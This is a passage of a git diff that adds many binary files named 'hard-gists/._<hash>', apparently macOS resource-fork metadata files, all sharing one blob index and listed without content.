00000000..cd8af967 Binary files /dev/null and b/hard-gists/._998722 differ diff --git a/hard-gists/._999228 b/hard-gists/._999228 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._999228 differ diff --git a/hard-gists/._99b7fb8ff89104d30eab b/hard-gists/._99b7fb8ff89104d30eab new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._99b7fb8ff89104d30eab differ diff --git a/hard-gists/._99e1ad329383de04be4834a8c3e28c0d b/hard-gists/._99e1ad329383de04be4834a8c3e28c0d new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._99e1ad329383de04be4834a8c3e28c0d differ diff --git a/hard-gists/._99f7f921b512496a9563691e15d846b2 b/hard-gists/._99f7f921b512496a9563691e15d846b2 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._99f7f921b512496a9563691e15d846b2 differ diff --git a/hard-gists/._9a632bbb0acb445f4f3a b/hard-gists/._9a632bbb0acb445f4f3a new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._9a632bbb0acb445f4f3a differ diff --git a/hard-gists/._9ad6a265aac887fa26c1 b/hard-gists/._9ad6a265aac887fa26c1 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._9ad6a265aac887fa26c1 differ diff --git a/hard-gists/._9b1e305543f6fcc9318a b/hard-gists/._9b1e305543f6fcc9318a new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._9b1e305543f6fcc9318a differ diff --git a/hard-gists/._9b2b3e8a6c67697279d3724dce5dab3c b/hard-gists/._9b2b3e8a6c67697279d3724dce5dab3c new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._9b2b3e8a6c67697279d3724dce5dab3c differ diff --git a/hard-gists/._9b7787a607a5a676c6d8 b/hard-gists/._9b7787a607a5a676c6d8 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._9b7787a607a5a676c6d8 differ diff --git a/hard-gists/._9bb9eaea2523cd2144cf959f48a14194 b/hard-gists/._9bb9eaea2523cd2144cf959f48a14194 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._9bb9eaea2523cd2144cf959f48a14194 differ diff --git a/hard-gists/._9bde6d0985bd71b103d3 b/hard-gists/._9bde6d0985bd71b103d3 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._9bde6d0985bd71b103d3 differ diff --git a/hard-gists/._9be3d2aa4930ecd8e536 b/hard-gists/._9be3d2aa4930ecd8e536 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._9be3d2aa4930ecd8e536 differ diff --git a/hard-gists/._9c1614281797ce620c6069476d39c7b8 b/hard-gists/._9c1614281797ce620c6069476d39c7b8 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._9c1614281797ce620c6069476d39c7b8 differ diff --git a/hard-gists/._9c411d2b88eab4232cc66a9c7f6988fc b/hard-gists/._9c411d2b88eab4232cc66a9c7f6988fc new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._9c411d2b88eab4232cc66a9c7f6988fc differ diff --git a/hard-gists/._9c4d012d6fff059ccea7 b/hard-gists/._9c4d012d6fff059ccea7 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._9c4d012d6fff059ccea7 differ diff --git a/hard-gists/._9cba618eacedc68c656b b/hard-gists/._9cba618eacedc68c656b new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._9cba618eacedc68c656b differ diff --git a/hard-gists/._9cc23ce7c1e5c9e4379e b/hard-gists/._9cc23ce7c1e5c9e4379e new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._9cc23ce7c1e5c9e4379e differ diff --git a/hard-gists/._9cdead881799a47742ff3cd296d06cc1 b/hard-gists/._9cdead881799a47742ff3cd296d06cc1 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._9cdead881799a47742ff3cd296d06cc1 differ diff --git a/hard-gists/._9cfd4d8400961a3b67a1351a1851c869 b/hard-gists/._9cfd4d8400961a3b67a1351a1851c869 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._9cfd4d8400961a3b67a1351a1851c869 differ diff --git a/hard-gists/._9d0bf77bf070262ab3cddfc4b79d031b b/hard-gists/._9d0bf77bf070262ab3cddfc4b79d031b new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._9d0bf77bf070262ab3cddfc4b79d031b differ diff --git a/hard-gists/._9d39e1868e220e02cb58 b/hard-gists/._9d39e1868e220e02cb58 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._9d39e1868e220e02cb58 differ diff --git a/hard-gists/._9d4ea9b04b223de02c7a b/hard-gists/._9d4ea9b04b223de02c7a new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._9d4ea9b04b223de02c7a differ diff --git a/hard-gists/._9dad6c4ab0d8d7dbf3dc b/hard-gists/._9dad6c4ab0d8d7dbf3dc new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._9dad6c4ab0d8d7dbf3dc differ diff --git a/hard-gists/._9dcd642059214d81b3ef b/hard-gists/._9dcd642059214d81b3ef new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._9dcd642059214d81b3ef differ diff --git a/hard-gists/._9e1f7cf4945a608ae48a b/hard-gists/._9e1f7cf4945a608ae48a new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._9e1f7cf4945a608ae48a differ diff --git a/hard-gists/._9e30b2f908e801da1bd789f4ce3e7aac b/hard-gists/._9e30b2f908e801da1bd789f4ce3e7aac new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._9e30b2f908e801da1bd789f4ce3e7aac differ diff --git a/hard-gists/._9e990f56dabe27b42bfb b/hard-gists/._9e990f56dabe27b42bfb new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._9e990f56dabe27b42bfb differ diff --git a/hard-gists/._9ea0e4feb62a45acffee b/hard-gists/._9ea0e4feb62a45acffee new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._9ea0e4feb62a45acffee differ diff --git a/hard-gists/._9ed6ee8a55ff1587c08c793d5f23dfda b/hard-gists/._9ed6ee8a55ff1587c08c793d5f23dfda new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._9ed6ee8a55ff1587c08c793d5f23dfda differ diff --git a/hard-gists/._9f1793c4d1f466d3b58966da36b54fad b/hard-gists/._9f1793c4d1f466d3b58966da36b54fad new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._9f1793c4d1f466d3b58966da36b54fad differ diff --git a/hard-gists/._9f2d7da68779a17a0890 b/hard-gists/._9f2d7da68779a17a0890 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._9f2d7da68779a17a0890 differ diff --git a/hard-gists/._9f49f91bd7d0a527fdb5 b/hard-gists/._9f49f91bd7d0a527fdb5 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._9f49f91bd7d0a527fdb5 differ diff --git a/hard-gists/._9f6118ff84867e89f3348707c7a1271f b/hard-gists/._9f6118ff84867e89f3348707c7a1271f new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._9f6118ff84867e89f3348707c7a1271f differ diff --git a/hard-gists/._9f782f83e25d3c9eb202 b/hard-gists/._9f782f83e25d3c9eb202 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._9f782f83e25d3c9eb202 differ diff --git a/hard-gists/._9fbbf2f450779bde60c3 b/hard-gists/._9fbbf2f450779bde60c3 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._9fbbf2f450779bde60c3 differ diff --git a/hard-gists/._9fd4304148b398983b3c b/hard-gists/._9fd4304148b398983b3c new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._9fd4304148b398983b3c differ diff --git a/hard-gists/._9fffe8ba08e378e3d027610921c51a78 b/hard-gists/._9fffe8ba08e378e3d027610921c51a78 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._9fffe8ba08e378e3d027610921c51a78 differ diff --git a/hard-gists/._a003ace716c278ab87669f2fbd37727b b/hard-gists/._a003ace716c278ab87669f2fbd37727b new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._a003ace716c278ab87669f2fbd37727b differ diff --git a/hard-gists/._a027a9fc5aac66e6a382 b/hard-gists/._a027a9fc5aac66e6a382 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._a027a9fc5aac66e6a382 differ diff --git a/hard-gists/._a05a9ed37a3096cffef80bdc7fee31bc b/hard-gists/._a05a9ed37a3096cffef80bdc7fee31bc new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._a05a9ed37a3096cffef80bdc7fee31bc differ diff --git a/hard-gists/._a06477775f18c11b4517 b/hard-gists/._a06477775f18c11b4517 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._a06477775f18c11b4517 differ diff --git a/hard-gists/._a08221826c6f20ac47fe688e575e51ca b/hard-gists/._a08221826c6f20ac47fe688e575e51ca new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._a08221826c6f20ac47fe688e575e51ca differ diff --git a/hard-gists/._a0a5dd7bfcaac3d3e9c18e5ea1080b95 b/hard-gists/._a0a5dd7bfcaac3d3e9c18e5ea1080b95 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._a0a5dd7bfcaac3d3e9c18e5ea1080b95 differ diff --git a/hard-gists/._a0d42148fa11cbdaa00168e321f598f5 b/hard-gists/._a0d42148fa11cbdaa00168e321f598f5 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._a0d42148fa11cbdaa00168e321f598f5 differ diff --git a/hard-gists/._a1178bf10729a27184b1 b/hard-gists/._a1178bf10729a27184b1 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._a1178bf10729a27184b1 differ diff --git a/hard-gists/._a14e56ab945cd7e64c3b b/hard-gists/._a14e56ab945cd7e64c3b new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._a14e56ab945cd7e64c3b differ diff --git a/hard-gists/._a16749ee76941e8d86c8 b/hard-gists/._a16749ee76941e8d86c8 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._a16749ee76941e8d86c8 differ diff --git a/hard-gists/._a2b9c6ecdb24ca8fd6f4f41a9c0eb32e b/hard-gists/._a2b9c6ecdb24ca8fd6f4f41a9c0eb32e new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._a2b9c6ecdb24ca8fd6f4f41a9c0eb32e differ diff --git a/hard-gists/._a303721443f5eb46035e b/hard-gists/._a303721443f5eb46035e new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._a303721443f5eb46035e differ diff --git a/hard-gists/._a3dd4a35ecd94660411112999923d561 b/hard-gists/._a3dd4a35ecd94660411112999923d561 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._a3dd4a35ecd94660411112999923d561 differ diff --git a/hard-gists/._a400d6c20a52f0b3cd5415e833263b1f b/hard-gists/._a400d6c20a52f0b3cd5415e833263b1f new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._a400d6c20a52f0b3cd5415e833263b1f differ diff --git a/hard-gists/._a428ef783211b0ffdee1 b/hard-gists/._a428ef783211b0ffdee1 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._a428ef783211b0ffdee1 differ diff --git a/hard-gists/._a42aecb379742d3cd150 b/hard-gists/._a42aecb379742d3cd150 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._a42aecb379742d3cd150 differ diff --git a/hard-gists/._a430d460966d64edc6cad71c502d7005 b/hard-gists/._a430d460966d64edc6cad71c502d7005 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._a430d460966d64edc6cad71c502d7005 differ diff --git a/hard-gists/._a4533e0adebe57e3ed06d4b50c8419ae b/hard-gists/._a4533e0adebe57e3ed06d4b50c8419ae new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._a4533e0adebe57e3ed06d4b50c8419ae differ diff --git a/hard-gists/._a48b50e46f01dc7ac96d b/hard-gists/._a48b50e46f01dc7ac96d new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._a48b50e46f01dc7ac96d differ diff --git a/hard-gists/._a48feaecfdb9e0609c6a02590fd1f91b b/hard-gists/._a48feaecfdb9e0609c6a02590fd1f91b new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._a48feaecfdb9e0609c6a02590fd1f91b differ diff --git a/hard-gists/._a4cfdc19144e7bd634a8 b/hard-gists/._a4cfdc19144e7bd634a8 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._a4cfdc19144e7bd634a8 differ diff --git a/hard-gists/._a52b036424bd9975d719f224ca8cc8d5 b/hard-gists/._a52b036424bd9975d719f224ca8cc8d5 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._a52b036424bd9975d719f224ca8cc8d5 differ diff --git a/hard-gists/._a536bfa68b066c6fd593 b/hard-gists/._a536bfa68b066c6fd593 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._a536bfa68b066c6fd593 differ diff --git a/hard-gists/._a5407ce6b5061525e7f2 b/hard-gists/._a5407ce6b5061525e7f2 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._a5407ce6b5061525e7f2 differ diff --git a/hard-gists/._a54e7e182ddf564f6a5c1fe50db556a2 b/hard-gists/._a54e7e182ddf564f6a5c1fe50db556a2 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._a54e7e182ddf564f6a5c1fe50db556a2 differ diff --git a/hard-gists/._a56421d26afb1f728a2b5959ce1c4486 b/hard-gists/._a56421d26afb1f728a2b5959ce1c4486 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._a56421d26afb1f728a2b5959ce1c4486 differ diff --git a/hard-gists/._a56d5446416f5ad2bbac b/hard-gists/._a56d5446416f5ad2bbac new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._a56d5446416f5ad2bbac differ diff --git a/hard-gists/._a5808fe356b8da031837 b/hard-gists/._a5808fe356b8da031837 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._a5808fe356b8da031837 differ diff --git a/hard-gists/._a5af977340c1c452d2d0 b/hard-gists/._a5af977340c1c452d2d0 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._a5af977340c1c452d2d0 differ diff --git a/hard-gists/._a5b640e4368204426310 b/hard-gists/._a5b640e4368204426310 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._a5b640e4368204426310 differ diff --git a/hard-gists/._a5f57e8c9d0aedee285fb6f43cb5900c b/hard-gists/._a5f57e8c9d0aedee285fb6f43cb5900c new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._a5f57e8c9d0aedee285fb6f43cb5900c differ diff --git a/hard-gists/._a5fb23f096d7b0c3880e1622938d0901 b/hard-gists/._a5fb23f096d7b0c3880e1622938d0901 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._a5fb23f096d7b0c3880e1622938d0901 differ diff --git a/hard-gists/._a61918cbfae993b68eb17b5b780b7e32 b/hard-gists/._a61918cbfae993b68eb17b5b780b7e32 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._a61918cbfae993b68eb17b5b780b7e32 differ diff --git a/hard-gists/._a62b5cf5262fc7179dee b/hard-gists/._a62b5cf5262fc7179dee new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._a62b5cf5262fc7179dee differ diff --git a/hard-gists/._a64321dd69339c42a184 b/hard-gists/._a64321dd69339c42a184 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._a64321dd69339c42a184 differ diff --git a/hard-gists/._a67517621c2a9d4c2f14 b/hard-gists/._a67517621c2a9d4c2f14 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._a67517621c2a9d4c2f14 differ diff --git a/hard-gists/._a682299af39b76d8592f b/hard-gists/._a682299af39b76d8592f new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._a682299af39b76d8592f differ diff --git a/hard-gists/._a68d6f32f4985ed547ce b/hard-gists/._a68d6f32f4985ed547ce new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._a68d6f32f4985ed547ce differ diff --git a/hard-gists/._a6a32bd87fdfe5529f0e908ed743f779 b/hard-gists/._a6a32bd87fdfe5529f0e908ed743f779 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._a6a32bd87fdfe5529f0e908ed743f779 differ diff --git a/hard-gists/._a7733a15cbf6c0cd9fba b/hard-gists/._a7733a15cbf6c0cd9fba new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._a7733a15cbf6c0cd9fba differ diff --git a/hard-gists/._a7c41b072cfa4cc2c592 b/hard-gists/._a7c41b072cfa4cc2c592 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._a7c41b072cfa4cc2c592 differ diff --git a/hard-gists/._a8121604385ce6da251d20d018f9a6d6 b/hard-gists/._a8121604385ce6da251d20d018f9a6d6 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._a8121604385ce6da251d20d018f9a6d6 differ diff --git a/hard-gists/._a8332d2b6dc517accedbff8fd8e63b08 b/hard-gists/._a8332d2b6dc517accedbff8fd8e63b08 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._a8332d2b6dc517accedbff8fd8e63b08 differ diff --git a/hard-gists/._a86b412988cbf5216aa5c48b1cf439c4 b/hard-gists/._a86b412988cbf5216aa5c48b1cf439c4 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._a86b412988cbf5216aa5c48b1cf439c4 differ diff --git a/hard-gists/._a8c96f1aeb41393dadf6 b/hard-gists/._a8c96f1aeb41393dadf6 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._a8c96f1aeb41393dadf6 differ diff --git a/hard-gists/._a8ddb994df41583b64f8 b/hard-gists/._a8ddb994df41583b64f8 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._a8ddb994df41583b64f8 differ diff --git a/hard-gists/._a8f87b0d95e73eb482c5 b/hard-gists/._a8f87b0d95e73eb482c5 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._a8f87b0d95e73eb482c5 differ diff --git a/hard-gists/._a90c6f22372de8859f14 b/hard-gists/._a90c6f22372de8859f14 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._a90c6f22372de8859f14 differ diff --git a/hard-gists/._a9de2ef498a09747bbf673ddf6ea4843 b/hard-gists/._a9de2ef498a09747bbf673ddf6ea4843 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._a9de2ef498a09747bbf673ddf6ea4843 differ diff --git a/hard-gists/._a9f0b1ca7e98391a5067 b/hard-gists/._a9f0b1ca7e98391a5067 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._a9f0b1ca7e98391a5067 differ diff --git a/hard-gists/._aa3d19a12b74e9ab7941 b/hard-gists/._aa3d19a12b74e9ab7941 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._aa3d19a12b74e9ab7941 differ diff --git a/hard-gists/._aa46105d34349543582b177ae79f32f0 b/hard-gists/._aa46105d34349543582b177ae79f32f0 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._aa46105d34349543582b177ae79f32f0 differ diff --git a/hard-gists/._aa64ddf6109414291030 b/hard-gists/._aa64ddf6109414291030 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._aa64ddf6109414291030 differ diff --git a/hard-gists/._aa8713d4334036bcb0060ff73dba54c4 b/hard-gists/._aa8713d4334036bcb0060ff73dba54c4 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._aa8713d4334036bcb0060ff73dba54c4 differ diff --git a/hard-gists/._aad88d51001ea83ecfc6 b/hard-gists/._aad88d51001ea83ecfc6 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._aad88d51001ea83ecfc6 differ diff --git a/hard-gists/._aad8a37114825b0ce1a5bc48bf5f3cac b/hard-gists/._aad8a37114825b0ce1a5bc48bf5f3cac new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._aad8a37114825b0ce1a5bc48bf5f3cac differ diff --git a/hard-gists/._ab136dbfb97f8ee1d309 b/hard-gists/._ab136dbfb97f8ee1d309 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._ab136dbfb97f8ee1d309 differ diff --git a/hard-gists/._ab2e34dc58c8c2d0f2e15f25b528dc19 b/hard-gists/._ab2e34dc58c8c2d0f2e15f25b528dc19 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._ab2e34dc58c8c2d0f2e15f25b528dc19 differ diff --git a/hard-gists/._abb8a2f22adbdb6d387f b/hard-gists/._abb8a2f22adbdb6d387f new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._abb8a2f22adbdb6d387f differ diff --git a/hard-gists/._abca49bf36433fd1f9d1 b/hard-gists/._abca49bf36433fd1f9d1 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._abca49bf36433fd1f9d1 differ diff --git a/hard-gists/._ac5987161bc27048e1da48e40299468b b/hard-gists/._ac5987161bc27048e1da48e40299468b new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._ac5987161bc27048e1da48e40299468b differ diff --git a/hard-gists/._ac5f50d1409954c38681353fb6c6921b b/hard-gists/._ac5f50d1409954c38681353fb6c6921b new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._ac5f50d1409954c38681353fb6c6921b differ diff --git a/hard-gists/._ac8f22326f095ed2690e b/hard-gists/._ac8f22326f095ed2690e new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._ac8f22326f095ed2690e differ diff --git a/hard-gists/._ac9170132e5abfc5381353428e70f1d9 b/hard-gists/._ac9170132e5abfc5381353428e70f1d9 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._ac9170132e5abfc5381353428e70f1d9 differ diff --git a/hard-gists/._ac9be1abd2bebe9ad8da5c645a1d0b5e b/hard-gists/._ac9be1abd2bebe9ad8da5c645a1d0b5e new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._ac9be1abd2bebe9ad8da5c645a1d0b5e differ diff --git a/hard-gists/._acaaf10e9649bfd1863b b/hard-gists/._acaaf10e9649bfd1863b new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._acaaf10e9649bfd1863b differ diff --git a/hard-gists/._acbd669af86ecb8f988325084ba7a749 b/hard-gists/._acbd669af86ecb8f988325084ba7a749 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._acbd669af86ecb8f988325084ba7a749 differ diff --git a/hard-gists/._ad16c57cf48eb95a4b63 b/hard-gists/._ad16c57cf48eb95a4b63 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._ad16c57cf48eb95a4b63 differ diff --git a/hard-gists/._ad575cee6bb503d4d193da355d70d3e9 b/hard-gists/._ad575cee6bb503d4d193da355d70d3e9 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._ad575cee6bb503d4d193da355d70d3e9 differ diff --git a/hard-gists/._ad7eda38c797dfddc394 b/hard-gists/._ad7eda38c797dfddc394 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._ad7eda38c797dfddc394 differ diff --git a/hard-gists/._ae2a7adaab133c61a059 b/hard-gists/._ae2a7adaab133c61a059 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._ae2a7adaab133c61a059 differ diff --git a/hard-gists/._aea4329b760eb3e72f4d b/hard-gists/._aea4329b760eb3e72f4d new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._aea4329b760eb3e72f4d differ diff --git a/hard-gists/._aecb82d8b51e991dbd01 b/hard-gists/._aecb82d8b51e991dbd01 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._aecb82d8b51e991dbd01 differ diff --git a/hard-gists/._af466b8d32d7cd4954f1 b/hard-gists/._af466b8d32d7cd4954f1 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._af466b8d32d7cd4954f1 differ diff --git a/hard-gists/._af5bc4fae39b16f8d505 b/hard-gists/._af5bc4fae39b16f8d505 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._af5bc4fae39b16f8d505 differ diff --git a/hard-gists/._afb129122a64bde3bd0c b/hard-gists/._afb129122a64bde3bd0c new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._afb129122a64bde3bd0c differ diff --git a/hard-gists/._b02bac4b48f780bee77b b/hard-gists/._b02bac4b48f780bee77b new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._b02bac4b48f780bee77b differ diff --git a/hard-gists/._b09f45e112b226b97a36 b/hard-gists/._b09f45e112b226b97a36 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._b09f45e112b226b97a36 differ diff --git a/hard-gists/._b0a882f844e188c78358 b/hard-gists/._b0a882f844e188c78358 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._b0a882f844e188c78358 differ diff --git a/hard-gists/._b0c075cfde406280cbf7 b/hard-gists/._b0c075cfde406280cbf7 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._b0c075cfde406280cbf7 differ diff --git a/hard-gists/._b0e95087771dbefa386f b/hard-gists/._b0e95087771dbefa386f new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._b0e95087771dbefa386f differ diff --git a/hard-gists/._b0eae211db963fe56c0c55773e6a16c0 b/hard-gists/._b0eae211db963fe56c0c55773e6a16c0 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._b0eae211db963fe56c0c55773e6a16c0 differ diff --git a/hard-gists/._b18ce332bde37e156034e5d3f60f8a23 b/hard-gists/._b18ce332bde37e156034e5d3f60f8a23 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._b18ce332bde37e156034e5d3f60f8a23 differ diff --git a/hard-gists/._b19bb35f5484af5d7622 b/hard-gists/._b19bb35f5484af5d7622 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._b19bb35f5484af5d7622 differ diff --git a/hard-gists/._b1d181802fac750f0cc1 b/hard-gists/._b1d181802fac750f0cc1 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._b1d181802fac750f0cc1 differ diff --git a/hard-gists/._b1ef03dd21e7a3016161 b/hard-gists/._b1ef03dd21e7a3016161 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._b1ef03dd21e7a3016161 differ diff --git a/hard-gists/._b205bdf830c9f81e5fb6 b/hard-gists/._b205bdf830c9f81e5fb6 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._b205bdf830c9f81e5fb6 differ diff --git a/hard-gists/._b26bc0333cc18660d07baeb923ce9021 b/hard-gists/._b26bc0333cc18660d07baeb923ce9021 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._b26bc0333cc18660d07baeb923ce9021 differ diff --git a/hard-gists/._b26db61d8bde30b8a88451615105da7a b/hard-gists/._b26db61d8bde30b8a88451615105da7a new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._b26db61d8bde30b8a88451615105da7a differ diff --git a/hard-gists/._b27cdbff68870418bdb8cefa86a2d558 b/hard-gists/._b27cdbff68870418bdb8cefa86a2d558 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._b27cdbff68870418bdb8cefa86a2d558 differ diff --git a/hard-gists/._b2af7d980eb217a0af07 b/hard-gists/._b2af7d980eb217a0af07 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._b2af7d980eb217a0af07 differ diff --git a/hard-gists/._b3143dde185cecda7c1dee7ffbce5d2c b/hard-gists/._b3143dde185cecda7c1dee7ffbce5d2c new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._b3143dde185cecda7c1dee7ffbce5d2c differ diff --git a/hard-gists/._b3e6f9b5d95af8ba2cc46f2ba6eae5e2 b/hard-gists/._b3e6f9b5d95af8ba2cc46f2ba6eae5e2 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and 